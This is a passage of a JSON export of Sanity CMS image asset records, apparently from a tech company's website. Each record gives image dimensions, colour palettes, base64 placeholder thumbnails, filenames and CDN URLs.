:"sanity.imagePaletteSwatch","background":"#dad9b7","foreground":"#000","population":0.14,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e9e57a","foreground":"#000","population":0.2,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#949269","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6ed07","foreground":"#000","population":3.03,"title":"#000"}}},"mimeType":"image/png","originalFilename":"54d4bfbc7843ed28e6b7579bf4aa4ce381cc9c21-1449x613.png","path":"images/sczeoy4w/production/54d4bfbc7843ed28e6b7579bf4aa4ce381cc9c21-1449x613.png","sha1hash":"54d4bfbc7843ed28e6b7579bf4aa4ce381cc9c21","size":24110,"uploadId":"mC6EunJ0tNAA8ZrF8ogzV2vTdoUQV1TC","url":"https://cdn.sanity.io/images/sczeoy4w/production/54d4bfbc7843ed28e6b7579bf4aa4ce381cc9c21-1449x613.png"} {"_createdAt":"2023-11-20T09:13:28Z","_id":"image-54ebe2e976cf1f4bc9c78b1bfa6323053bebbde2-500x270-png","_rev":"Arp4NzaYseKQ5hw9dWOkuM","_type":"sanity.imageAsset","_updatedAt":"2023-11-20T09:13:28Z","assetId":"54ebe2e976cf1f4bc9c78b1bfa6323053bebbde2","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M6C:wSw{1HNu1b$jNuWVsoso0|S2}Fso$Q","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8518518518518519,"height":270,"width":500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsSAAALEgHS3X78AAABkUlEQVQokYWSW09TURCFdwukakqBimiEVi4lKt7jJdmrsE6JBIr65A/xnxm7dkPg32Fm72l7eOJhkpkz+3yz5hISGGYmt5s4nvv3WnQDwxRVyE6KlQEbApcFLjm8KfChwLbAVgKXPN+0twlsee7R7J8MnMSTWYU1gQOBzxxmj98J/CawL/C5wEOB66kUeiWwEvhF4KZKEQMy3N7+MeC2wAuBH1yRxWOB3wW+EPhG4KXAPYGrAt8LPPd8z5WHef8Cnzrgs7WawF2Bv2qQ1wJ/usoVgR2BBw5+bLDr4SjUh7vp1T4JfJCKio8CfwscukJTNFCs7J+Wt32UyhwzZ7EpcMtb/mrAq2HV8LmdCYSP4ofAl740e38q8K0rLkBbyj9bDPhE4MgUJrA9BVcTuO8q+96qwQ994zseD1JZYj698Dceh5vhqQUmeyeBW6m03DZfYNeXtJbAXgI3MiCyo5gLduu3nG/HzD/kG/PYziBv7upunPOTyMYkclmxvJkD68HUj7NWIPs2lpJb5O3cZhdSB/4HUtIQZU1wO/sAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#55302c","foreground":"#fff","population":0.33,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#700d1a","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#55302c","foreground":"#fff","population":0.33,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7a1e27","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4959c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#925554","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c5323f","foreground":"#fff","population":0.12,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"5e25be0eacccd1fa2c17c8d2_1517 Logo Cropped-p-500.png","path":"images/sczeoy4w/production/54ebe2e976cf1f4bc9c78b1bfa6323053bebbde2-500x270.png","sha1hash":"54ebe2e976cf1f4bc9c78b1bfa6323053bebbde2","size":8354,"uploadId":"ZLK0s3DTw2lqPeOd5cmpnUK3WvOJKfPM","url":"https://cdn.sanity.io/images/sczeoy4w/production/54ebe2e976cf1f4bc9c78b1bfa6323053bebbde2-500x270.png"} {"_createdAt":"2024-01-29T10:44:43Z","_id":"image-556caad2c09551cdafd2daa4035dec727f1f929e-1200x628-png","_rev":"lhvtNBOlLYH5KiQFQ86ySR","_type":"sanity.imageAsset","_updatedAt":"2024-01-29T10:44:43Z","assetId":"556caad2c09551cdafd2daa4035dec727f1f929e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M3AS[;2}[M@;0q?SFk|T18|q009*~8NNxt","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACqElEQVQokUXSW0+SARzHcV5BW6E+oCgiKCgEPCAoD3KI0+MJHkCRyFUuK9MmBooJpSxzHV0HNWsdbsouWq3W5to6vIHuekffpm518d//7nPz+6qOC1ma2wsYey7QZb+C2XEVs6NIR0+RZuM8GsMCQkcJjbFCs6l2eIJhgYbWWWzdc1yX03ya9LKhZAn130LV0JKnyzaNW1rAEyjj7C/j8C4h+lYQfTfocddoNVf+gVrjdRrbZlG3XsZrm2Yn4+fPTBvvCkGUwDIqoe0MYv888ZEbyMk6YXmVUKJObGSDQeUBkaH7iNItzOIaFtc6Flcd08kynfZFAr4KdSXP16kAm+MTxPzrqJraCrilIkPpOqNj6wxnbpMcu4eSe0g6/5hsYZtUbpuE8pTBzA7J3C6yskk8uUl8dJvU0BZnRx+TTOxi73uFSt2Sx947R3S4hpyqM5haZyRzh+HMfYbSD0iOPyFzegclv8vY5Cvy598wVnjGSOYpQfkFnshHPLHvuML7dPftoTqunaDLfom+YBnp1DL+SJVAbBUpsobbfxOXVMcb3MAXuUcg8Yho4iEFucql+DzZ4Bq+4Ht6o78Qw9+OwAbdaaziDFLoAKzgC6/gj9zE7a9isi2i6yyh61xCb1lB37OGy75M1Z/ic1zkSTSNcuo5ntjP/2BTcw6n9TwD/nl8oYN1F7H1lrE4y+gt1w6zaWovoelYQjDWcHSXuCtF+C3r2YtHmYhs4Yn+wBnax+J9i6pByGJuH8dhm8IqztJumUFjuIjGcPCvIhiKCIYSWmMFramGrXuJOW+O7WCY5YGzxAZ2cAS+YJU+0Ol6jepYYxa1kKWxJU9j6yRq3TlOtEyh1l087K1JfwQedKg1VTGaq0gnryE7iww4V7G6tuhyv8HkekmHY5e/mRJ8x9yns94AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e4572","foreground":"#fff","population":1.58,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041c7c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d85a1b","foreground":"#fff","population":7.04,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a3a9d2","foreground":"#000","population":1.68,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e6edf7","foreground":"#000","population":4.91,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#69668f","foreground":"#fff","population":2.76,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d85a1b","foreground":"#fff","population":7.04,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Workshop social MediaRecommender 2024-03-13 (1200x628).png","path":"images/sczeoy4w/production/556caad2c09551cdafd2daa4035dec727f1f929e-1200x628.png","sha1hash":"556caad2c09551cdafd2daa4035dec727f1f929e","size":179615,"uploadId":"TVIHJcP2zShssx4Nw2s1tzV5yIEjicdP","url":"https://cdn.sanity.io/images/sczeoy4w/production/556caad2c09551cdafd2daa4035dec727f1f929e-1200x628.png"} {"_createdAt":"2023-09-06T12:03:08Z","_id":"image-55b6843cf15cec1887bfefe7022570c457ee1bc4-6114x2283-png","_rev":"jBJgpqpGruZvOgVMUBIgTO","_type":"sanity.imageAsset","_updatedAt":"2023-09-06T12:03:08Z","assetId":"55b6843cf15cec1887bfefe7022570c457ee1bc4","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.678055190538765,"height":2283,"width":6114},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAABiklEQVQokV2Ra4+aYBCF+f9/pUnTNE3TaJQ7KCio6OrqyqW4qyJSNwHqqvg0YPZLJ5mc82WeOe87guvNsVwPy5lguxOcyYwg2lCWf7nf71R1V9XDVxWHY4Y7XWDYLoY1RO8NGI6mvO0SbrcKQbNHKJaL2ndRzCFa38GbL0mPR8qyJPtzYrdPOL2/k+c5YfyKNhjT1W26ao+2pKMYdhPicrkgaJaLbo+QzQEdtY+k2zjjGfHmlTRN8YMQb/pEEEZst1sWyxd020XULTqKya+OQkc2eH7xyYsCQTQGyEYN69GWDUTNYjxbkB4ziqIgSQ6E0W/2SUKWZY0fjjxU00bSenQVA820WK0DTqcTgtRzqaGSbjXRtf6Q+XJNnhfNv12vV87nc6P1k3bJAXfy1AAV1URsddElldVq/QAG8Rt+tMGPYvwwJohikkPKx8eF/+t2u7E/HHG8OWrfQZEN2l++In77wfNi2YQQ6s3N9ibBQ+vBOl1dtX76T2B95Rooygat7z9RWl18P2zm/wEd8PcdtNsDzAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#664a4e","foreground":"#fff","population":1.92,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#285a5c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#84888c","foreground":"#fff","population":6.38,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4cedb","foreground":"#000","population":0.12,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d0e4f6","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#84888c","foreground":"#fff","population":6.38,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#90cdcf","foreground":"#000","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"netlify-aiven-archi.png","path":"images/sczeoy4w/production/55b6843cf15cec1887bfefe7022570c457ee1bc4-6114x2283.png","sha1hash":"55b6843cf15cec1887bfefe7022570c457ee1bc4","size":1008027,"uploadId":"xypJzMKyizNy4rVOVC7eFBTiKvASJ1r3","url":"https://cdn.sanity.io/images/sczeoy4w/production/55b6843cf15cec1887bfefe7022570c457ee1bc4-6114x2283.png"} {"_createdAt":"2024-03-11T09:30:28Z","_id":"image-55f055f2ee67a953dfe12e6701d62f5e1daea716-2352x996-png","_rev":"YZDTfZCd9Sx4xq41jbj8BP","_type":"sanity.imageAsset","_updatedAt":"2024-03-11T09:30:28Z","assetId":"55f055f2ee67a953dfe12e6701d62f5e1daea716","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M3SF;M_3xv^*M{%M0000~qE2j[Dit7Rjt7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.36144578313253,"height":996,"width":2352},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAABYlAAAWJQFJUiTwAAABP0lEQVQYlUWRy27jMAxF/f9fVLSZbJJ2mSkQBHEKAW3gjB9tZIuSJUrUq7CFTs+OAA94SVZfQ8/v93lFay2E6PteCFFK731cSSkRkTHGWqvRjWLWxlZ/Npvdfne7NQAwjmNd1/v9njE2jiMA4IrW2jmHiAAAUn20/G99a/qpenh63GyfmuaKxgDI+nJ5fnlhjCmlyhyllBDi15fy7b19vfzr7qrqhq4fOq3nGCORn35iE1FYISLnnPc+hBBjRIvD570buEZXpR9yzimlEGLp+68hopRSa42IbgWE4Jxba6u8UMxMIVqK6AI6b3AJDADX6/VwODDGOOdSSmOMlBIAiKjICzEmdEEaD5pgRjlrpWYhxPl83m63x+NxmqZyhRIhpfQrp5R9SNYvwx0F8gvW2rZtT6dT0zSIWNYun8s5fwPkhcSbG8s9ogAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3a4553","foreground":"#fff","population":0.32,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1b3969","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3a4553","foreground":"#fff","population":0.32,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4b8a7","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9ec4ee","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8c6c5c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2e60b0","foreground":"#fff","population":0.14,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"plan.png","path":"images/sczeoy4w/production/55f055f2ee67a953dfe12e6701d62f5e1daea716-2352x996.png","sha1hash":"55f055f2ee67a953dfe12e6701d62f5e1daea716","size":78301,"uploadId":"tBJuQG3NHkIG7HWtH0ppNZncSjSgYnsz","url":"https://cdn.sanity.io/images/sczeoy4w/production/55f055f2ee67a953dfe12e6701d62f5e1daea716-2352x996.png"} {"_createdAt":"2022-11-22T11:40:13Z","_id":"image-5631a94dcfca6d0071a322d02b39507f8d3be25f-1500x468-png","_rev":"bUMlF7B1Xxw34pzcKwyQmc","_type":"sanity.imageAsset","_updatedAt":"2022-11-22T11:40:13Z","assetId":"5631a94dcfca6d0071a322d02b39507f8d3be25f","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.2051282051282053,"height":468,"width":1500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAIAAABM9SnKAAAACXBIWXMAAAsTAAALEwEAmpwYAAABPUlEQVQYlSXJfUvCQBwA4H3/zyCUFEkvFElghRQUKkynzNxMc+797na/280tdHrbeRE+/z5a89Y6v5ndddzXfvqu550PevW4bLSmjZZ5/bR++aT3z/7F/bzdjdpv8eXD99nNrHlr3XW87iDT9FHY16PPYTKY8LH9a1hF34CeAYNJOpoV5mKrm1nPgLFVDGd5bwSDCdNNbljF10+pxR6sV2xqw3TO18HOi8qVvw2QQCAxyJhWbli64S4iwov3TrANicBQ4/89agiVnl/Ml2zl5gQOBESES5rWPFc8V2wjCRwSJtKsTpggINJMnornSguQdPydveRLJ48TgWkVkX2S1myj2EZRLjEVhFXAJYEK0xqy46nYRmlOKBfu3rRT006doAyQ8JGIqcRMYaYQlQESIakQyCipQ1IjOJ4KM/UHfqU9gCy/vkcAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#31374f","foreground":"#fff","population":0.24,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#050938","foreground":"#fff","population":0.34,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#050938","foreground":"#fff","population":0.34,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b3b8d4","foreground":"#000","population":0.24,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b8c4fc","foreground":"#000","population":0.21,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c74ac","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#333e6b","foreground":"#fff","population":0.26,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"kafka-simply-explained-table-approach.png","path":"images/sczeoy4w/production/5631a94dcfca6d0071a322d02b39507f8d3be25f-1500x468.png","sha1hash":"5631a94dcfca6d0071a322d02b39507f8d3be25f","size":34402,"uploadId":"3oH4gqW1VOn69j2rHicYZP4KXAeA97zw","url":"https://cdn.sanity.io/images/sczeoy4w/production/5631a94dcfca6d0071a322d02b39507f8d3be25f-1500x468.png"} {"_createdAt":"2023-07-21T13:24:17Z","_id":"image-563ae1cc08cb80531e449ed52a55b6db1537329b-1567x844-png","_rev":"Q21J3pgWoUWkhUhtSou1pb","_type":"sanity.imageAsset","_updatedAt":"2023-07-21T13:24:17Z","assetId":"563ae1cc08cb80531e449ed52a55b6db1537329b","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACa0lEQVQokSWSWVPaUABG8wsEErLe3NyEhM2RCs5Y6wYuSJShURZJkEV2ZBGVVnFDi+hoR6t1xnFq/bOtOnNev/O9HIwASUowKJhiUI6TS0CuQUcT2tvAvgud35H7SBzuSSPnaPiIt7d5R4uTW1ZYNDMpE53AeCXrnWjOLOzPq8dzoVP/0tlieBBQLz8H+rOhm8XIw9zKg1/9PRu69S8NAuqPsakT6GgTfBHnMpg8XFhY6caNq6h+tbJ6oSVu9NxjfONRW3+Ip5+N/Gsi86olX1b1p6jxK6rfBdSfiueUlnZpaRtz+6qqdrKWHKhfz+fVXiR+HUvdRxJ3a8ZjPP0cT/+Jpf9qyRdNf4ok7sLR28DyvcPb55RD4DzD3L7KwnI3GD4JhnvLWj+kDSbnz0bGD0e/nPqm+r7py7Hpa+/Uzejkxcj4kXts3+nd5+07tLTDKYeYbbgwPtOe8O/NLB4Ew+ezwZ7L22FsLVraZuUOsB/wjmPgOGbkbxTaImAeBzmcyxJ8gUINjABJVtrgbBleKYiuKnLVWXmLRA0KtShxh7Z1WKXLKl1KahN8ycJlcLD5ASnUMBMVe4NeN7OGhc3gIE/AConqFGq+KcQmbdtlbB1KbOJg08KmrbBKojrBFwm+hDFMFMEEUrJAzpNwEwcFK6yQQp1EDQKW310lUtiywoqFzZjZFCnUSFTHQc7MGJjERz2K7vlUtntqrFS0CkUKVWmxSUstUijjIEPwWVIof4RhZvT3z4KJ0YeoGCaIhk3ekJ150VXilTKwvxUmONvItQcd25xc5uQyUBoUKpkZ3USvW9i0mU0N0Yn/438AzqaBWrETuQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#35316a","foreground":"#fff","population":0.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040471","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d9dcea","foreground":"#000","population":7.16,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d9dcea","foreground":"#000","population":7.16,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7479bd","foreground":"#fff","population":0.44,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#686f94","foreground":"#fff","population":1.32,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#262e91","foreground":"#fff","population":2.59,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"typescript_react-hook-form-zod.png","path":"images/sczeoy4w/production/563ae1cc08cb80531e449ed52a55b6db1537329b-1567x844.png","sha1hash":"563ae1cc08cb80531e449ed52a55b6db1537329b","size":123696,"uploadId":"DFhRLrJUUOhLsQsA1I3ZFw47TFXwta7M","url":"https://cdn.sanity.io/images/sczeoy4w/production/563ae1cc08cb80531e449ed52a55b6db1537329b-1567x844.png"} {"_createdAt":"2024-03-13T11:17:23Z","_id":"image-5665bbb7f6955b0c478e64662b6dce55c4f47b9d-2432x665-png","_rev":"rAWuI3yYduKRvZqckJrSXU","_type":"sanity.imageAsset","_updatedAt":"2024-03-13T11:17:23Z","assetId":"5665bbb7f6955b0c478e64662b6dce55c4f47b9d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DH0TqJkckHj_e+f.f.f-fkf4","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.657142857142857,"height":665,"width":2432},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAABMUlEQVQYlTWQy0rDYBCF5zT2khKaSDtpG2jTi41VGgTRqotSyKSoiApeQBEVdVFEiuBWH0CXCn0AV76ECu7di7jzSST27+LjMHM2h48yVCJz9a1o7n12zOOvWfPiJ0laVUNhLQ2WlCIJloTKCF3lhGLcg6z60LDmXwJr/ePaOvk+tPq/5ZizOUksddhhDRx6YKmApQyWKbDUEHWju6q6pvrrZHpDL+M9nRtLzzfG9uvA2HnvaPVTl7LdFuyeDw7bYJkDSwssC2DxwTINlhmwrIBlWdEkljRlGo++7t6exd3BVdy/u0wsPgSxypFLuW4dds+FHTbUElctdMCSA0tR3RElsJjEopFRu8/GnX4b+f0Nyu8GcA4qKGyliQMddpj6Z+Rx7DBypilGDm3RYIcEFvoD9PA8C30wmDEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1c2c30","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1d72","foreground":"#fff","population":0.29,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1d72","foreground":"#fff","population":0.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#043a94","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7eadfa","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#043a94","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0d65f7","foreground":"#fff","population":0.22,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Zeotap (1).png","path":"images/sczeoy4w/production/5665bbb7f6955b0c478e64662b6dce55c4f47b9d-2432x665.png","sha1hash":"5665bbb7f6955b0c478e64662b6dce55c4f47b9d","size":63928,"uploadId":"BhakbFVf88Aoq3U7FT0zrj0gqunfsKbi","url":"https://cdn.sanity.io/images/sczeoy4w/production/5665bbb7f6955b0c478e64662b6dce55c4f47b9d-2432x665.png"} {"_createdAt":"2022-11-16T08:48:21Z","_id":"image-567004b521fbf0a2b919c620f1221d146c560f89-1567x844-jpg","_rev":"PJutSls1mvFq6xuKvn19mL","_type":"sanity.imageAsset","_updatedAt":"2022-11-16T08:48:53Z","altText":"Person walking on stepping stones [Sustainability update]","assetId":"567004b521fbf0a2b919c620f1221d146c560f89","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAABgAFB//EACEQAAIBAwUAAwAAAAAAAAAAAAECAwAEBQYREiExB0FC/8QAFQEBAQAAAAAAAAAAAAAAAAAAAQL/xAAaEQACAwEBAAAAAAAAAAAAAAABAgADESGh/9oADAMBAAIRAxEAPwDviY24a4kaa7kMR8VSRtRT5PvYUw02MuZOMEkfZfvn35TyD9e+0V12qmWx3VTyLA7qD9VN6M6gKc75KqZVbWEw9AajwmK01b2SXiosRIChT1VRPIWkEd3II41QE7kL13VSAIE72f/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#414146","foreground":"#fff","population":0.93,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#804a04","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f79411","foreground":"#000","population":5.02,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9cc4bc","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9d95d","foreground":"#000","population":0.05,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#647c94","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f79411","foreground":"#000","population":5.02,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"Sustainability_update_blog.jpg","path":"images/sczeoy4w/production/567004b521fbf0a2b919c620f1221d146c560f89-1567x844.jpg","sha1hash":"567004b521fbf0a2b919c620f1221d146c560f89","size":230813,"title":"Sustainability update","uploadId":"EmaZLKvE8iqugG4hPWIADPsP1TTYgrGi","url":"https://cdn.sanity.io/images/sczeoy4w/production/567004b521fbf0a2b919c620f1221d146c560f89-1567x844.jpg"} {"_createdAt":"2024-06-10T15:22:49Z","_id":"image-567911b714ca09e7ec3965b7c1eb9c10a97956d3-2386x1386-png","_rev":"06CnkCNLb8AnjQwiBLGolw","_type":"sanity.imageAsset","_updatedAt":"2024-06-10T15:22:49Z","assetId":"567911b714ca09e7ec3965b7c1eb9c10a97956d3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M6SF;NxaDi~WDiIWD%M|xbxaj;MyRQxan+","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7215007215007214,"height":1386,"width":2386},"exif":{"PixelXDimension":2386,"PixelYDimension":1386,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABYlAAAWJQFJUiTwAAABgElEQVQokX2SW2+jMBBG+f9/b6VK+9RuAgYSg/H9RvRVM04K26324WgsMRzPxZ18Exh/DxguEwYxoxczrsPIiOkGtW2IKaLuFfvjgceJWneEkGFMhDEJ3md08lcP8XbB9WNAP4wYpgn9NKKfBMbbDKlWaGcQUkQplSW1UqzIuTahTbA28blbxYL+fcCfjyvEOGNZFRa14SYX5i5XyGXFqjZo4+BsgHMB9hmdi3AuMTEWdJs2EGLG5TJgmu7Q2kJrh3XVWJaNkbJFpQyM8V9Y61loXWJYGEKEWjXu9wVSqq+fKNET/kxr64zzCfo5QxamlGGtg1KaoQrpkpQKE2MG5dCZZvadGAucy7yQlOohNMbC+4CcMw+eFsAVcJV0e/5RWAot6YCF3nvEGHlz5ydBImMDjKElHMNnnu2XsmPfKb9tvqOKUkp/yZqQKiTJa5sBzh9nmmlMrZt9bx0R/xVS9fS9vb9/IRHlNmE5hDQ7kr4SXi3TjCieL/oJ+i9nEhZ8AnCoU6GSK1asAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#743454","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6c2c5c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c8adc2","foreground":"#000","population":0.15,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c8adc2","foreground":"#000","population":0.15,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec78cc","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5e9159","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c0256e","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aiven-for-kafka.png","path":"images/sczeoy4w/production/567911b714ca09e7ec3965b7c1eb9c10a97956d3-2386x1386.png","sha1hash":"567911b714ca09e7ec3965b7c1eb9c10a97956d3","size":766943,"uploadId":"Xz0jS2Ze7RZvbXzmofPYEBoGFj6JTzYU","url":"https://cdn.sanity.io/images/sczeoy4w/production/567911b714ca09e7ec3965b7c1eb9c10a97956d3-2386x1386.png"} 